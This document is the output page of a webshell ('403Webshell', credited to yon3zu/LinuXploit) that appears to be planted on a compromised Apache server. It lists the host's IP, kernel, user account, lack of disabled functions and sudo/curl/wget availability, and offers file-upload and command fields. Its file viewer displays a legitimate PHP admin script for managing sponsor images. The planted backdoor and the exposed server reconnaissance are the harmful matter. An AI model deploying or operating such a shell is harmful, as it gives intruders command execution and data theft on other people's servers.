403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/thelittlebigshow/app/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thelittlebigshow/app/admin//sponsors.php
<?php
session_start();
ob_start();
require_once 'config/config.php';
require_once BASE_PATH . '/includes/auth_validate.php';

$sponsorDir = dirname(BASE_PATH) . '/images/sponsers-print/';
$sponsorOrderFile = $sponsorDir . 'sponsor-order.json';
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'webp'];

if (!is_dir($sponsorDir)) {
    mkdir($sponsorDir, 0755, true);
}

function cleanSponsorFileName($name)
{
    $info = pathinfo($name);
    $baseName = preg_replace('/[^A-Za-z0-9_-]+/', '-', $info['filename']);
    $baseName = trim($baseName, '-');
    if ($baseName === '') {
        $baseName = 'sponsor';
    }

    return strtolower($baseName);
}

function getSponsorImageFiles($sponsorDir)
{
    $images = array_values(array_filter(scandir($sponsorDir), function ($file) use ($sponsorDir) {
        return is_file($sponsorDir . $file) && preg_match('/\.(jpg|jpeg|png|gif|webp)$/i', $file);
    }));
    natcasesort($images);
    return array_values($images);
}

function getOrderedSponsorImages($sponsorDir, $sponsorOrderFile)
{
    $images = getSponsorImageFiles($sponsorDir);
    $orderedImages = [];
    $savedOrder = [];

    if (is_file($sponsorOrderFile)) {
        $decodedOrder = json_decode(file_get_contents($sponsorOrderFile), true);
        if (is_array($decodedOrder)) {
            $savedOrder = $decodedOrder;
        }
    }

    foreach ($savedOrder as $file) {
        if (in_array($file, $images, true)) {
            $orderedImages[] = $file;
        }
    }

    foreach ($images as $file) {
        if (!in_array($file, $orderedImages, true)) {
            $orderedImages[] = $file;
        }
    }

    return $orderedImages;
}

function saveSponsorOrder($sponsorOrderFile, $sponsorImages)
{
    file_put_contents($sponsorOrderFile, json_encode(array_values($sponsorImages), JSON_PRETTY_PRINT));
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['upload_sponsors'])) {
    $uploaded = 0;
    $uploadedFiles = [];
    $errors = [];

    if (isset($_FILES['sponsor_images'])) {
        foreach ($_FILES['sponsor_images']['name'] as $index => $originalName) {
            if ($_FILES['sponsor_images']['error'][$index] === UPLOAD_ERR_NO_FILE) {
                continue;
            }

            if ($_FILES['sponsor_images']['error'][$index] !== UPLOAD_ERR_OK) {
                $errors[] = $originalName . ' could not be uploaded.';
                continue;
            }

            $extension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
            if (!in_array($extension, $allowedExtensions)) {
                $errors[] = $originalName . ' is not a supported image type.';
                continue;
            }

            $imageInfo = getimagesize($_FILES['sponsor_images']['tmp_name'][$index]);
            if ($imageInfo === false) {
                $errors[] = $originalName . ' is not a valid image.';
                continue;
            }

            $safeName = cleanSponsorFileName($originalName);
            $fileName = $safeName . '.' . $extension;
            $destination = $sponsorDir . $fileName;
            $counter = 1;

            while (file_exists($destination)) {
                $fileName = $safeName . '-' . $counter . '.' . $extension;
                $destination = $sponsorDir . $fileName;
                $counter++;
            }

            if (move_uploaded_file($_FILES['sponsor_images']['tmp_name'][$index], $destination)) {
                $uploaded++;
                $uploadedFiles[] = $fileName;
            } else {
                $errors[] = $originalName . ' could not be saved.';
            }
        }
    }

    if ($uploaded > 0) {
        $currentOrder = getOrderedSponsorImages($sponsorDir, $sponsorOrderFile);
        foreach ($uploadedFiles as $fileName) {
            if (!in_array($fileName, $currentOrder, true)) {
                $currentOrder[] = $fileName;
            }
        }
        saveSponsorOrder($sponsorOrderFile, $currentOrder);
        $_SESSION['success'] = $uploaded . ' sponsor image(s) uploaded.';
    }

    if (count($errors) > 0) {
        $_SESSION['failure'] = implode(' ', $errors);
    }

    header('Location: sponsors.php');
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['delete_sponsor'])) {
    $fileName = basename($_POST['file_name'] ?? '');
    $filePath = $sponsorDir . $fileName;

    if ($fileName !== '' && is_file($filePath) && preg_match('/\.(jpg|jpeg|png|gif|webp)$/i', $fileName)) {
        unlink($filePath);
        $currentOrder = array_values(array_filter(getOrderedSponsorImages($sponsorDir, $sponsorOrderFile), function ($image) use ($fileName) {
            return $image !== $fileName;
        }));
        saveSponsorOrder($sponsorOrderFile, $currentOrder);
        $_SESSION['success'] = 'Sponsor image deleted.';
    } else {
        $_SESSION['failure'] = 'Sponsor image could not be deleted.';
    }

    header('Location: sponsors.php');
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['move_sponsor'])) {
    $fileName = basename($_POST['file_name'] ?? '');
    $direction = $_POST['direction'] ?? '';
    $currentOrder = getOrderedSponsorImages($sponsorDir, $sponsorOrderFile);
    $currentIndex = array_search($fileName, $currentOrder, true);

    if ($currentIndex !== false) {
        $targetIndex = $direction === 'up' ? $currentIndex - 1 : $currentIndex + 1;

        if (isset($currentOrder[$targetIndex])) {
            $swap = $currentOrder[$targetIndex];
            $currentOrder[$targetIndex] = $currentOrder[$currentIndex];
            $currentOrder[$currentIndex] = $swap;
            saveSponsorOrder($sponsorOrderFile, $currentOrder);
            $_SESSION['success'] = 'Sponsor order updated.';
        }
    }

    header('Location: sponsors.php');
    exit;
}

$sponsorImages = getOrderedSponsorImages($sponsorDir, $sponsorOrderFile);

include BASE_PATH . '/includes/header.php';
?>
<style>
    .sponsor-grid {
        margin-top: 24px;
    }

    .sponsor-item {
        align-items: center;
        border: 1px solid #ddd;
        border-radius: 6px;
        display: grid;
        gap: 12px;
        grid-template-columns: 70px 150px 1fr 190px;
        margin-bottom: 12px;
        padding: 12px;
    }

    .sponsor-item img {
        height: 80px;
        max-width: 100%;
        object-fit: contain;
    }

    .sponsor-file {
        font-size: 12px;
        margin: 10px 0;
        word-break: break-word;
    }

    .sponsor-actions {
        display: flex;
        gap: 6px;
        justify-content: flex-end;
    }
</style>
<div id="page-wrapper">
    <div class="row">
        <div class="col-lg-12">
            <h1 class="page-header">Sponsor Images</h1>
        </div>
    </div>

    <?php include BASE_PATH . '/includes/flash_messages.php'; ?>

    <form action="" method="POST" enctype="multipart/form-data">
        <div class="form-group">
            <label for="sponsor_images">Upload Sponsor Images</label>
            <input type="file" id="sponsor_images" name="sponsor_images[]" class="form-control" accept="image/*" multiple>
        </div>
        <button type="submit" name="upload_sponsors" class="btn btn-info">Upload Images</button>
    </form>

    <div class="sponsor-grid">
        <?php if (count($sponsorImages) > 0): ?>
            <?php foreach ($sponsorImages as $index => $image): ?>
                <div class="sponsor-item">
                    <div><strong><?php echo $index + 1; ?></strong></div>
                    <img src="../images/sponsers-print/<?php echo htmlspecialchars(rawurlencode($image)); ?>" alt="">
                    <div class="sponsor-file"><?php echo htmlspecialchars($image); ?></div>
                    <div class="sponsor-actions">
                        <form action="" method="POST">
                            <input type="hidden" name="file_name" value="<?php echo htmlspecialchars($image); ?>">
                            <input type="hidden" name="direction" value="up">
                            <button type="submit" name="move_sponsor" class="btn btn-default btn-sm" <?php echo $index === 0 ? 'disabled' : ''; ?>>Up</button>
                        </form>
                        <form action="" method="POST">
                            <input type="hidden" name="file_name" value="<?php echo htmlspecialchars($image); ?>">
                            <input type="hidden" name="direction" value="down">
                            <button type="submit" name="move_sponsor" class="btn btn-default btn-sm" <?php echo $index === count($sponsorImages) - 1 ? 'disabled' : ''; ?>>Down</button>
                        </form>
                        <form action="" method="POST" onsubmit="return confirm('Delete this sponsor image?');">
                            <input type="hidden" name="file_name" value="<?php echo htmlspecialchars($image); ?>">
                            <button type="submit" name="delete_sponsor" class="btn btn-danger btn-sm">Delete</button>
                        </form>
                    </div>
                </div>
            <?php endforeach; ?>
        <?php else: ?>
            <p>No sponsor images uploaded yet.</p>
        <?php endif; ?>
    </div>
</div>
<?php include BASE_PATH . '/includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit